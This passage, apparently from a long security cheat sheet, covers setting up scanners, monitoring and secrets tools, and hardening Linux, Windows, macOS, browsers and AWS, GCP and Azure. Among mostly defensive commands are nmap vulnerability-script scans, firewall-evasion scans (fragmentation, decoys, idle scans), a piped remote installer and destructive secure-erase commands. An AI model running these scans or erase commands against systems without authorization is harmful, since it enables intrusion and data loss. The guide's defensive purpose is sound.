psql_data_vol:
vt_data_vol:
notus_data_vol:
redis_socket_vol:
ospd_openvas_socket_vol:
gvmd_socket_vol:
EOF
docker compose -f docker-compose-gvm.yml up -d
# Access GSA at http://localhost:9392
# Default credentials: admin/admin (change immediately!)
# Service and version detection
sudo nmap -sV -sC -O -A 192.168.1.0/24 -oA scan_results
# Vulnerability scan with NSE scripts
sudo nmap --script vuln 192.168.1.100
sudo nmap --script ssl-enum-ciphers -p 443 192.168.1.100 # SSL/TLS analysis
sudo nmap --script smb-vuln* -p 445 192.168.1.100 # SMB vulnerabilities
sudo nmap --script http-shellshock 192.168.1.100 # Shellshock check
sudo nmap --script ftp-anon 192.168.1.0/24 -p 21 # Anonymous FTP
# Firewall evasion techniques (authorized testing only)
sudo nmap -f 192.168.1.100 # Fragment packets
sudo nmap --mtu 24 192.168.1.100 # Custom MTU
sudo nmap -D RND:10 192.168.1.100 # Decoy scan
sudo nmap -sI zombie_host 192.168.1.100 # Idle scan
# Output formats
sudo nmap -oN output.txt 192.168.1.0/24 # Normal
sudo nmap -oX output.xml 192.168.1.0/24 # XML
sudo nmap -oG output.gnmap 192.168.1.0/24 # Grepable
sudo nmap -oA all_formats 192.168.1.0/24 # All formats
# Download Velociraptor
wget https://github.com/Velocidex/velociraptor/releases/latest/download/velociraptor-v0.x.x-linux-amd64
# Generate configuration
./velociraptor config generate -i # Interactive config generation
# Start server
./velociraptor --config server.config.yaml frontend -v
# Deploy client agent
./velociraptor --config client.config.yaml client -v
# Key VQL queries for threat hunting
# (Run in Velociraptor Web UI β Notebooks)
# Find executables in temp directories
SELECT FullPath, Size, Mtime, Hash.MD5
FROM glob(globs=["C:/Users/*/AppData/Local/Temp/*.exe", "/tmp/*.sh", "/var/tmp/*"])
WHERE IsLink == false
# Find persistence via scheduled tasks (Windows)
SELECT Name, Command, Arguments, ComObject
FROM scheduled_tasks()
WHERE Command != null
# Find running processes with network connections
SELECT Pid, Name, Exe, CommandLine, {
SELECT * FROM connections() WHERE Pid = _value.Pid
} AS Connections
FROM pslist()
# Find recently modified files
SELECT FullPath, Mtime, Atime, Ctime, Size
FROM glob(globs=["C:/Windows/System32/**"])
WHERE Mtime > now() - 86400 # Modified in last 24 hours
# Install Zeek
sudo apt install zeek
# Configure Zeek
sudo nano /etc/zeek/node.cfg
# [zeek]
# type=standalone
# host=localhost
# interface=eth0
sudo nano /etc/zeek/networks.cfg
# Add local networks:
# 192.168.0.0/16 Private network
# Start Zeek
sudo zeekctl deploy
# View Zeek logs
ls /var/log/zeek/current/
# conn.log β All connections
# dns.log β DNS queries
# http.log β HTTP transactions
# ssl.log β SSL/TLS handshakes
# files.log β File transfers
# weird.log β Unusual activity (important!)
# notice.log β Alerts
# Query logs with zeek-cut
cat /var/log/zeek/current/conn.log | zeek-cut ts id.orig_h id.resp_h id.resp_p proto duration | head -20
cat /var/log/zeek/current/dns.log | zeek-cut ts id.orig_h query qtype_name | grep -v "^#"
# Detect port scans in conn.log
cat /var/log/zeek/current/conn.log | zeek-cut id.orig_h id.resp_h id.resp_p | \
sort | uniq -c | sort -rn | \
awk '$1 > 20 {print "Scanner: "$3" β scanned "$4":"$5, $1, "times"}'
# Install ntopng
sudo apt install ntopng
# Configure
sudo nano /etc/ntopng/ntopng.conf
# Add:
# -i=eth0
# -w=3000
# -d=/var/lib/ntopng
sudo systemctl start ntopng
# Access web UI at http://localhost:3000 (admin/admin β change!)
# Bitwarden with Docker
curl -Lso bitwarden.sh "https://func.bitwarden.com/api/dl/?app=self-host&platform=linux"
chmod 700 bitwarden.sh
sudo ./bitwarden.sh install
sudo ./bitwarden.sh start
# Configure HTTPS (required)
sudo ./bitwarden.sh update ssl
# Access at https://yourdomain.com
# Install Vault
sudo apt install vault
# Development mode (not for production)
vault server -dev
# Production configuration
cat > /etc/vault.d/vault.hcl << 'EOF'
storage "raft" {
path = "/opt/vault/data"
node_id = "node1"
}
listener "tcp" {
address = "0.0.0.0:8200"
tls_cert_file = "/etc/vault.d/server.crt"
tls_key_file = "/etc/vault.d/server.key"
}
cluster_addr = "https://127.0.0.1:8201"
api_addr = "https://127.0.0.1:8200"
ui = true
EOF
sudo systemctl start vault
# Initialize Vault
export VAULT_ADDR='https://127.0.0.1:8200'
vault operator init -key-shares=5 -key-threshold=3 # 5 keys, need 3 to unseal
# Unseal Vault (need 3 of 5 keys)
vault operator unseal <key1>
vault operator unseal <key2>
vault operator unseal <key3>
# Login
vault login <root_token>
# Enable secrets engine
vault secrets enable -path=secret kv-v2
# Store a secret
vault kv put secret/myapp/config db_password="supersecret" api_key="abc123"
# Retrieve a secret
vault kv get secret/myapp/config
vault kv get -field=db_password secret/myapp/config
# Dynamic database credentials (auto-rotating passwords)
vault secrets enable database
vault write database/config/my-postgresql \
plugin_name=postgresql-database-plugin \
allowed_roles="my-role" \
connection_url="postgresql://:@localhost:5432/mydb" \
username="vault" \
password="vaultpassword"
vault write database/roles/my-role \
db_name=my-postgresql \
creation_statements="CREATE ROLE '' WITH LOGIN PASSWORD '' VALID UNTIL ''; GRANT SELECT ON ALL TABLES IN SCHEMA public TO '';" \
default_ttl="1h" \
max_ttl="24h"
# Get temporary DB credentials
vault read database/creds/my-role
# Install WireGuard
sudo apt install wireguard
# Generate server keys
wg genkey | sudo tee /etc/wireguard/server_private.key | wg pubkey | sudo tee /etc/wireguard/server_public.key
sudo chmod 600 /etc/wireguard/server_private.key
# Server configuration
SERVER_PRIVATE_KEY=$(sudo cat /etc/wireguard/server_private.key)
cat > /etc/wireguard/wg0.conf << EOF
[Interface]
Address = 10.0.0.1/24
ListenPort = 51820
PrivateKey = ${SERVER_PRIVATE_KEY}
PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
[Peer]
# Client 1
PublicKey = CLIENT_PUBLIC_KEY_HERE
AllowedIPs = 10.0.0.2/32
EOF
# Enable IP forwarding
echo "net.ipv4.ip_forward=1" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
# Start WireGuard
sudo systemctl enable --now wg-quick@wg0
# Client configuration
# wg genkey | tee client_private.key | wg pubkey > client_public.key
cat > client_wg0.conf << 'EOF'
[Interface]
Address = 10.0.0.2/24
PrivateKey = CLIENT_PRIVATE_KEY
DNS = 1.1.1.1
[Peer]
PublicKey = SERVER_PUBLIC_KEY
Endpoint = server_ip:51820
AllowedIPs = 0.0.0.0/0 # Route all traffic through VPN
PersistentKeepalive = 25
EOF
# Install MISP via Docker
git clone https://github.com/MISP/misp-docker.git
cd misp-docker
cp template.env .env
# Edit .env: set BASE_URL, ADMIN_EMAIL, etc.
sudo docker compose up -d
# Access at https://localhost
# Default credentials: admin@admin.test / admin (change immediately!)
# Import threat feeds
# In MISP admin panel:
# β Sync Actions β Feeds β Load default MISP feeds
# β Enable CIRCL OSINT, abuse.ch URLhaus, etc.
# MISP API usage
curl -H "Authorization: YOUR_API_KEY" \
-H "Accept: application/json" \
https://misp.example.com/attributes/restSearch \
--data '{"type":"ip-dst","value":"8.8.8.8"}'
#########################################
# SECTION 1: SSH HARDENING
#########################################
sudo nano /etc/ssh/sshd_config
# /etc/ssh/sshd_config β Hardened configuration
Port 2222 # Change from default 22
Protocol 2
AddressFamily inet # IPv4 only (unless IPv6 needed)
# Authentication
PasswordAuthentication no # Disable password auth β use keys ONLY
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
PermitRootLogin no # Never allow root login
PermitEmptyPasswords no
MaxAuthTries 3
MaxSessions 5
LoginGraceTime 30
# Allowed users/groups
AllowUsers alice bob # Whitelist specific users
# AllowGroups sshusers # Or whitelist groups
# Disable unnecessary features
X11Forwarding no
AllowTcpForwarding no
AllowAgentForwarding no
GatewayPorts no
PermitTunnel no
# Cryptography hardening
HostKey /etc/ssh/ssh_host_ed25519_key
HostKey /etc/ssh/ssh_host_rsa_key
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
HostKeyAlgorithms ssh-ed25519,rsa-sha2-512,rsa-sha2-256
# Connection keepalive
ClientAliveInterval 300
ClientAliveCountMax 2
# Banner
Banner /etc/ssh/banner.txt
sudo systemctl restart sshd
# Generate strong SSH key pair (Ed25519)
ssh-keygen -t ed25519 -C "user@hostname-$(date +%Y%m%d)" -f ~/.ssh/id_ed25519
# Delete weak host keys if they exist
sudo rm /etc/ssh/ssh_host_dsa_key* /etc/ssh/ssh_host_ecdsa_key* 2>/dev/null
sudo ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key < /dev/null
#########################################
# SECTION 2: FIREWALL (nftables)
#########################################
sudo apt install nftables
sudo systemctl enable nftables
sudo tee /etc/nftables.conf << 'EOF'
#!/usr/sbin/nft -f
flush ruleset
table inet filter {
chain input {
type filter hook input priority 0; policy drop;
# Allow established/related connections
ct state established,related accept
# Allow loopback
iifname "lo" accept
# Drop invalid packets
ct state invalid drop
# ICMP - allow ping with rate limit
ip protocol icmp icmp type { echo-request } limit rate 10/second accept
ip6 nexthdr icmpv6 icmpv6 type { echo-request } limit rate 10/second accept
# SSH on custom port
tcp dport 2222 limit rate 10/minute burst 5 packets accept
# HTTP/HTTPS
tcp dport { 80, 443 } accept
# Log dropped packets
limit rate 5/second log prefix "nft DROP: " drop
}
chain forward {
type filter hook forward priority 0; policy drop;
}
chain output {
type filter hook output priority 0; policy accept;
# Optionally restrict outbound too
}
}
EOF
sudo nft -f /etc/nftables.conf
sudo nft list ruleset
#########################################
# SECTION 3: KERNEL HARDENING (sysctl)
#########################################
sudo tee /etc/sysctl.d/99-hardening.conf << 'EOF'
# Network security
net.ipv4.ip_forward = 0 # Disable IP forwarding (unless router)
net.ipv4.conf.all.send_redirects = 0 # Don't send ICMP redirects
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.all.accept_redirects = 0 # Don't accept ICMP redirects
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv4.conf.all.accept_source_route = 0 # No source routing
net.ipv6.conf.all.accept_source_route = 0
net.ipv4.conf.all.log_martians = 1 # Log packets with impossible addresses
net.ipv4.conf.default.log_martians = 1
net.ipv4.icmp_echo_ignore_broadcasts = 1 # Ignore broadcast pings (Smurf mitigation)
net.ipv4.icmp_ignore_bogus_error_responses = 1
net.ipv4.tcp_syncookies = 1 # SYN flood protection
net.ipv4.tcp_rfc1337 = 1 # Protect against TIME-WAIT assassination
net.ipv4.conf.all.rp_filter = 1 # Reverse path filtering
net.ipv4.conf.default.rp_filter = 1
net.ipv6.conf.all.accept_ra = 0 # Don't accept IPv6 router advertisements
net.ipv6.conf.default.accept_ra = 0
# Kernel hardening
kernel.randomize_va_space = 2 # Full ASLR
kernel.dmesg_restrict = 1 # Restrict dmesg to root
kernel.kptr_restrict = 2 # Hide kernel pointers
kernel.sysrq = 0 # Disable SysRq key
kernel.core_uses_pid = 1 # PID in core dump filename
kernel.panic = 10 # Reboot after 10s on panic
kernel.perf_event_paranoid = 3 # Restrict perf events
# File system
fs.suid_dumpable = 0 # No core dumps for SUID programs
fs.protected_fifos = 2 # Prevent FIFO hijacking
fs.protected_regular = 2 # Prevent regular file hijacking
fs.protected_symlinks = 1 # Prevent symlink attacks
fs.protected_hardlinks = 1 # Prevent hardlink attacks
EOF
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
#########################################
# SECTION 4: FILE SYSTEM HARDENING
#########################################
# Secure /tmp with tmpfs
sudo tee -a /etc/fstab << 'EOF'
tmpfs /tmp tmpfs defaults,rw,nosuid,nodev,noexec,size=2G 0 0
tmpfs /var/tmp tmpfs defaults,rw,nosuid,nodev,noexec,size=2G 0 0
tmpfs /dev/shm tmpfs defaults,rw,nosuid,nodev,noexec 0 0
EOF
sudo mount -o remount /tmp
sudo mount -o remount /var/tmp
# Find and audit SUID/SGID files
echo "=== SUID Files ==="
sudo find / -perm -4000 -type f 2>/dev/null | sort
echo "=== SGID Files ==="
sudo find / -perm -2000 -type f 2>/dev/null | sort
# Remove unnecessary SUID bits
sudo chmod u-s /usr/bin/newgrp
# sudo chmod u-s /bin/su # Careful β may break su
#########################################
# SECTION 5: PAM HARDENING
#########################################
# Password policy
sudo tee /etc/security/pwquality.conf << 'EOF'
minlen = 14
minclass = 4
maxrepeat = 3
maxsequence = 4
gecoscheck = 1
EOF
# Account lockout (edit /etc/pam.d/common-auth on Debian/Ubuntu)
# Add before pam_unix.so:
# auth required pam_faillock.so preauth audit deny=5 unlock_time=900
# After pam_unix.so:
# auth [default=die] pam_faillock.so authfail deny=5 unlock_time=900
# auth sufficient pam_faillock.so authsucc deny=5 unlock_time=900
#########################################
# SECTION 6: AUDITD β AUDIT LOGGING
#########################################
sudo apt install auditd audispd-plugins
# Comprehensive audit rules
sudo tee /etc/audit/rules.d/hardening.rules << 'EOF'
## Delete existing rules
-D
## Buffer size
-b 8192
## Failure mode (1=log, 2=panic)
-f 1
## Watch for changes to authentication files
-w /etc/passwd -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/sudoers -p wa -k sudoers
-w /etc/sudoers.d/ -p wa -k sudoers
## SSH configuration changes
-w /etc/ssh/sshd_config -p wa -k sshd_config
## Kernel module loading
-w /sbin/insmod -p x -k modules
-w /sbin/rmmod -p x -k modules
-w /sbin/modprobe -p x -k modules
-a always,exit -F arch=b64 -S init_module,delete_module -k modules
## System calls to monitor
-a always,exit -F arch=b64 -S execve -k exec
-a always,exit -F arch=b64 -S open,openat -F exit=-EACCES -k access_denied
-a always,exit -F arch=b64 -S ptrace -k ptrace
## File system mounts
-a always,exit -F arch=b64 -S mount -k mounts
## Network configuration changes
-w /etc/hosts -p wa -k hosts
-w /etc/network/ -p wa -k network
-w /etc/sysconfig/network -p wa -k network
## Cron and scheduled tasks
-w /etc/cron.d/ -p wa -k cron
-w /etc/cron.daily/ -p wa -k cron
-w /var/spool/cron/ -p wa -k cron
## Make rules immutable (reboot required to change)
-e 2
EOF
sudo service auditd restart
# Query audit logs
sudo ausearch -k sudoers # Sudoers changes
sudo ausearch -k exec --start today # Commands executed today
sudo ausearch -m LOGIN --start today # Login events
sudo aureport --failed # Failed events summary
sudo aureport --auth --summary # Authentication summary
# Enable Windows Defender features
Set-MpPreference -DisableRealtimeMonitoring $false
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -EnableControlledFolderAccess Enabled
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -CloudBlockLevel High
Set-MpPreference -CloudExtendedTimeout 50
# Enable Attack Surface Reduction rules
$ASRRules = @{
"BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550" = 1 # Block executable content from email
"D4F940AB-401B-4EFC-AADC-AD5F3C50688A" = 1 # Block Office from creating child processes
"3B576869-A4EC-4529-8536-B80A7769E899" = 1 # Block Office from creating executable content
"75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84" = 1 # Block Office from injecting code into other processes
"D3E037E1-3EB8-44C8-A917-57927947596D" = 1 # Block JavaScript or VBScript from launching downloads
"5BEB7EFE-FD9A-4556-801D-275E5FFC04CC" = 1 # Block execution of potentially obfuscated scripts
"92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B" = 1 # Block Win32 imports from Macro code
"01443614-CD74-433A-B99E-2ECDC07BFC25" = 1 # Block executable files from running unless meet criteria
"C1DB55AB-C21A-4637-BB3F-A12568109D35" = 1 # Use advanced protection against ransomware
"9E6C4E1F-7D60-472F-BA1A-A39EF669E4B2" = 1 # Block credential stealing from LSASS
"D1E49AAC-8F56-4280-B9BA-993A6D77406C" = 1 # Block process creations originating from PSExec and WMI
"B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4" = 1 # Block untrusted and unsigned processes from USB
"26190899-1602-49E8-8B27-EB1D0A1CE869" = 1 # Block Office communication from creating child processes
"7674BA52-37EB-4A4F-A9A1-F0F9A1619A2C" = 1 # Block Adobe Reader from creating child processes
"E6DB77E5-3DF2-4CF1-B95A-636979351E5B" = 1 # Block persistence through WMI event subscription
}
foreach ($rule in $ASRRules.GetEnumerator()) {
Add-MpPreference -AttackSurfaceReductionRules_Ids $rule.Key -AttackSurfaceReductionRules_Actions $rule.Value
}
# Disable legacy protocols
Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force # Disable SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
# Disable NTLM (prefer Kerberos)
# Group Policy: Computer Configuration β Windows Settings β Security Settings β Local Policies β Security Options
# "Network security: LAN Manager authentication level" β "Send NTLMv2 response only, refuse LM & NTLM"
# PowerShell script execution policy
Set-ExecutionPolicy AllSigned -Scope LocalMachine -Force # Only signed scripts
# Audit policy
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
auditpol /set /category:"Object Access" /success:enable /failure:enable
auditpol /set /category:"Policy Change" /success:enable /failure:enable
auditpol /set /category:"Privilege Use" /success:enable /failure:enable
auditpol /set /category:"System" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
# Windows Firewall hardening
netsh advfirewall set allprofiles state on
netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound
netsh advfirewall set allprofiles settings remotemanagement disable
netsh advfirewall set allprofiles settings inboundusernotification enable
# Disable unnecessary services
$ServicesToDisable = @(
"Fax",
"XblAuthManager",
"XblGameSave",
"XboxNetApiSvc",
"WerSvc", # Windows Error Reporting
"RemoteRegistry",
"Spooler" # Print Spooler β if not needed
)
foreach ($svc in $ServicesToDisable) {
Set-Service -Name $svc -StartupType Disabled -ErrorAction SilentlyContinue
Stop-Service -Name $svc -Force -ErrorAction SilentlyContinue
Write-Host "Disabled: $svc"
}
# Credential Guard
# Enable via Group Policy or:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" -Name "EnableVirtualizationBasedSecurity" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" -Name "RequirePlatformSecurityFeatures" -Value 1
# BitLocker
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256 -UsedSpaceOnly -TpmProtector
# Enable FileVault full-disk encryption
sudo fdesetup enable
# Firewall
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate on
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setstealthmode on
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setloggingmode on
# Disable remote services
sudo systemsetup -setremotelogin off # SSH (enable if needed)
sudo systemsetup -setremoteappleevents off
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.screensharing.plist 2>/dev/null
# Disable automatic login
sudo defaults delete /Library/Preferences/com.apple.loginwindow autoLoginUser 2>/dev/null
# Require password after sleep/screensaver immediately
defaults write com.apple.screensaver askForPassword -int 1
defaults write com.apple.screensaver askForPasswordDelay -int 0
# Disable Bonjour advertising
sudo defaults write /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements -bool YES
# Show hidden files
defaults write com.apple.finder AppleShowAllFiles -bool true
# Enable Gatekeeper
sudo spctl --master-enable
# Check for and enable SIP
csrutil status # Should show "enabled"
# Disable root account
sudo dsenableroot -d
# Lock screen quickly (add to menu bar)
# System Preferences β Security & Privacy β General β Require password immediately
# Application Layer Firewall (ALF) β block all incoming connections
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockall on
# Disable IPv6 if not needed
networksetup -setv6off Wi-Fi
networksetup -setv6off Ethernet
# Enable Lockdown Mode (macOS 13+ Ventura) β extreme security for high-risk individuals
# System Preferences β Privacy & Security β Lockdown Mode β Turn On Lockdown Mode
# mDNS / AirDrop restrictions
sudo defaults write /Library/Preferences/com.apple.NetworkBrowser BrowseAllInterfaces 0
# Safari security settings (via Terminal)
defaults write com.apple.Safari WebKitJavaScriptEnabled -bool false # Disable JS (breaks most sites)
defaults write com.apple.Safari SendDoNotTrackHTTPHeader -bool true
defaults write com.apple.Safari PreventCrossSiteTracking -bool true
about:config β Key settings:
privacy.trackingprotection.enabled = true
privacy.trackingprotection.socialtracking.enabled = true
geo.enabled = false
dom.battery.enabled = false
dom.gamepad.enabled = false
media.navigator.enabled = false (disables WebRTC β may break video calls)
network.dns.disablePrefetch = true
network.prefetch-next = false
browser.send_pings = false
dom.webnotifications.enabled = false
extensions.pocket.enabled = false
browser.newtabpage.activity-stream.feeds.telemetry = false
browser.newtabpage.activity-stream.telemetry = false
toolkit.telemetry.enabled = false
| Extension | Purpose | Link |
|---|---|---|
| uBlock Origin | Ad/tracker blocking | Firefox |
| Privacy Badger | Tracker blocking (EFF) | EFF |
| HTTPS Everywhere | Force HTTPS | EFF |
| Decentraleyes | CDN privacy | Decentraleyes |
| Cookie AutoDelete | Automated cookie management | GitHub |
| Bitwarden | Password manager | Bitwarden |
| Multi-Account Containers | Firefox β Isolate sites | Mozilla |
| NoScript | Block JavaScript per-site | NoScript |
Email Header Analysis:
# Extract and analyze email headers (paste full headers here)
# Check: Received, Authentication-Results, DKIM-Signature, SPF
# SPF check
dig TXT example.com | grep "v=spf"
# Should show: v=spf1 include:... -all (-all = fail, ~all = soft fail, +all = BAD!)
# DMARC check
dig TXT _dmarc.example.com | grep "v=DMARC"
# Should show: v=DMARC1; p=reject; rua=mailto:...
# DKIM check
dig TXT selector._domainkey.example.com | grep "v=DKIM"
# Install Pi-hole
curl -sSL https://install.pi-hole.net | bash
# Configure as DHCP server (or point router DNS to Pi-hole IP)
# Add blocklists: https://firebog.net/
# Post-install configuration
pihole -a -p # Set admin password
pihole status
pihole -g # Update gravity (blocklists)
pihole -q malware.com # Query if domain is blocked
pihole blacklist evil.com # Manual block
pihole whitelist good.com # Whitelist
# Additional blocklists to add (Pi-hole Admin β Adlists):
# https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts
# https://raw.githubusercontent.com/nicehash/nicehash-list/main/domains.txt (crypto mining)
# https://blocklistproject.github.io/Lists/malware.txt
# https://urlhaus.abuse.ch/downloads/hostfile/
Operational Security (OPSEC) is the process of protecting critical information by identifying potential threats, vulnerabilities, and risks.
1. IDENTIFY CRITICAL INFORMATION
What information would be valuable to an adversary?
- Passwords, API keys, access credentials
- Personal identifying information (PII)
- Financial information
- Location and routine data
- Business-sensitive communications
2. ANALYZE THREATS
Who wants this information?
- Cybercriminals (financial motivation)
- Nation-state actors (espionage)
- Competitors (corporate intelligence)
- Stalkers/harassers
3. ANALYZE VULNERABILITIES
How could adversaries obtain this information?
- Social media oversharing
- Insecure communications
- Phishing attacks
- Physical surveillance
- Metadata in files/images
4. ASSESS RISKS
Likelihood Γ Impact = Risk
5. APPLY COUNTERMEASURES
Implement protections proportional to the risk
# Remove metadata from images before sharing
sudo apt install exiftool
exiftool -all= photo.jpg # Strip all metadata
exiftool photo.jpg | grep GPS # Check for GPS data
# Remove metadata from PDFs
sudo apt install ghostscript
gs -dBATCH -dNOPAUSE -dSAFER -sDEVICE=pdfwrite -dPDFSETTINGS=/default \
-sOutputFile=cleaned.pdf input.pdf
# Check what documents reveal
strings document.docx | grep -E "username|author|computer"
# Secure deletion of files
sudo apt install secure-delete
srm -vz sensitive_file.txt # Secure remove
srm -rfvz sensitive_directory/ # Secure remove directory
# On SSDs, use:
sudo hdparm --security-erase /dev/sda # ATA Secure Erase
# Anonymize internet traffic (basic)
# Use Tor Browser for anonymous browsing
# Use Tails OS for comprehensive anonymity:
# https://tails.boum.org/
# Check for data breaches
# https://haveibeenpwned.com/
# https://monitor.firefox.com/
# OPSEC checklist for developers
# - Never commit secrets to Git
# - Use .gitignore for .env files
# - Rotate API keys that may have been exposed
# - Use vault/secrets manager, not environment variables in production
# - Audit git history for accidental secret commits:
git log -S "password" --all --oneline
git log -S "api_key" --all --oneline
Social Media OPSEC:
# AWS Security Audit β using AWS CLI
# Check IAM password policy
aws iam get-account-password-policy
# List users without MFA
aws iam list-users --query 'Users[*].UserName' --output text | tr '\t' '\n' | while read user; do
mfa=$(aws iam list-mfa-devices --user-name "$user" --query 'MFADevices[*].SerialNumber' --output text)
if [ -z "$mfa" ]; then
echo "NO MFA: $user"
fi
done
# Find root account usage
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=Username,AttributeValue=root \
--query 'Events[*].[EventTime,EventName,SourceIPAddress]' \
--output table
# Check for exposed S3 buckets
aws s3api list-buckets --query 'Buckets[*].Name' --output text | tr '\t' '\n' | while read bucket; do
acl=$(aws s3api get-bucket-acl --bucket "$bucket" 2>/dev/null | python3 -c "import sys,json; data=json.load(sys.stdin); print(any(g.get('URI','')=='http://acs.amazonaws.com/groups/global/AllUsers' for grant in data['Grants'] for g in [grant.get('Grantee',{})]))")
if [ "$acl" = "True" ]; then
echo "PUBLIC BUCKET: $bucket"
fi
done
# Enable AWS Security Hub
aws securityhub enable-security-hub \
--enable-default-standards \
--tags Key=Environment,Value=Production
# Enable GuardDuty
aws guardduty create-detector --enable --finding-publishing-frequency FIFTEEN_MINUTES
# Enable CloudTrail in all regions
aws cloudtrail create-trail \
--name AllRegionsTrail \
--s3-bucket-name my-cloudtrail-bucket \
--is-multi-region-trail \
--include-global-service-events \
--enable-log-file-validation
aws cloudtrail start-logging --name AllRegionsTrail
# Enable Config
aws configservice put-configuration-recorder \
--configuration-recorder name=default,roleARN=arn:aws:iam::123456789012:role/ConfigRole \
--recording-group allSupported=true,includeGlobalResourceTypes=true
aws configservice start-configuration-recorder --configuration-recorder-name default
AWS IAM Policy Hardening:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyWithoutMFA",
"Effect": "Deny",
"NotAction": [
"iam:CreateVirtualMFADevice",
"iam:EnableMFADevice",
"iam:GetUser",
"iam:ListMFADevices",
"iam:ListVirtualMFADevices",
"iam:ResyncMFADevice",
"sts:GetSessionToken"
],
"Resource": "*",
"Condition": {
"BoolIfExists": {
"aws:MultiFactorAuthPresent": "false"
}
}
},
{
"Sid": "DenyLeavingRegions",
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:RequestedRegion": ["us-east-1", "us-west-2", "eu-west-1"]
}
}
}
]
}
# GCP Security audit
# Enable Security Command Center
gcloud services enable securitycenter.googleapis.com
# Check for public storage buckets
gsutil ls | while read bucket; do
acl=$(gsutil iam get "$bucket" 2>/dev/null | grep "allUsers\|allAuthenticatedUsers")
if [ -n "$acl" ]; then
echo "PUBLIC: $bucket"
fi
done
# Enable Cloud Audit Logs
gcloud projects get-iam-policy PROJECT_ID
gcloud services enable cloudaudit.googleapis.com
# List service accounts with key files (minimize key usage)
gcloud iam service-accounts list --format="value(email)" | while read sa; do
keys=$(gcloud iam service-accounts keys list --iam-account="$sa" --filter="keyType=USER_MANAGED" --format="value(name)")
if [ -n "$keys" ]; then
echo "USER-MANAGED KEYS: $sa"
echo "$keys"
fi
done
# Enable VPC Flow Logs
gcloud compute networks subnets update SUBNET_NAME \
--region=REGION \
--enable-flow-logs \
--logging-filter-expr="src_ip != dst_ip"
# Enable binary authorization
gcloud services enable binaryauthorization.googleapis.com
# Connect to Azure
Connect-AzAccount
Connect-MgGraph -Scopes "User.Read.All","Group.Read.All","Policy.Read.All"
# Enable Microsoft Defender for Cloud on all subscriptions
Get-AzSubscription | ForEach-Object {
Set-AzContext -Subscription $_.Id
Set-AzSecurityPricing -Name VirtualMachines -PricingTier Standard
Set-AzSecurityPricing -Name SqlServers -PricingTier Standard
Set-AzSecurityPricing -Name AppServices -PricingTier Standard
Set-AzSecurityPricing -Name StorageAccounts -PricingTier Standard
Set-AzSecurityPricing -Name KeyVaults -PricingTier Standard
}
# Find users without MFA
Get-MgUser -All | ForEach-Object {
$methods = Get-MgUserAuthenticationMethod -UserId $_.Id
if ($methods.Count -eq 1) { # Only password
Write-Output "NO MFA: $($_.DisplayName) - $($_.UserPrincipalName)"
}
}
# Enable Azure AD Privileged Identity Management (PIM)
# Requires Azure AD P2 license
# Sets admin roles to require MFA + approval + time-limited access
# Check for public storage accounts
Get-AzStorageAccount | Where-Object {$_.AllowBlobPublicAccess -eq $true} |
Select-Object ResourceGroupName, StorageAccountName
# Docker Security
# Scan image for vulnerabilities
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
aquasec/trivy image myapp:latest
# CIS Docker Benchmark assessment
docker run --net host --pid host --userns host --cap-add audit_control \
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
-v /etc:/etc:ro \
-v /lib/systemd/system:/lib/systemd/system:ro \
-v /usr/bin/containerd:/usr/bin/containerd:ro \
-v /usr/bin/runc:/usr/bin/runc:ro \
-v /usr/lib/systemd:/usr/lib/systemd:ro \
-v /var/lib:/var/lib:ro \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
--label docker_bench_security \
docker/docker-bench-security
# Secure Dockerfile practices
cat > Dockerfile.secure << 'EOF'
# Use specific digest instead of latest tag
FROM node:20-alpine@sha256:abc123...
# Run as non-root user
RUN addgroup -g 1001 -S appgroup && \
adduser -u 1001 -S appuser -G appgroup
# Don't run as root
USER appuser
# Drop all capabilities, add only needed ones
# (set in docker-compose or Kubernetes pod spec)
# Read-only root filesystem
# (set in docker-compose: read_only: true)
# Remove package manager caches
RUN npm ci --only=production && \
npm cache clean --force && \
rm -rf /tmp/*
# No hardcoded secrets β use environment variables
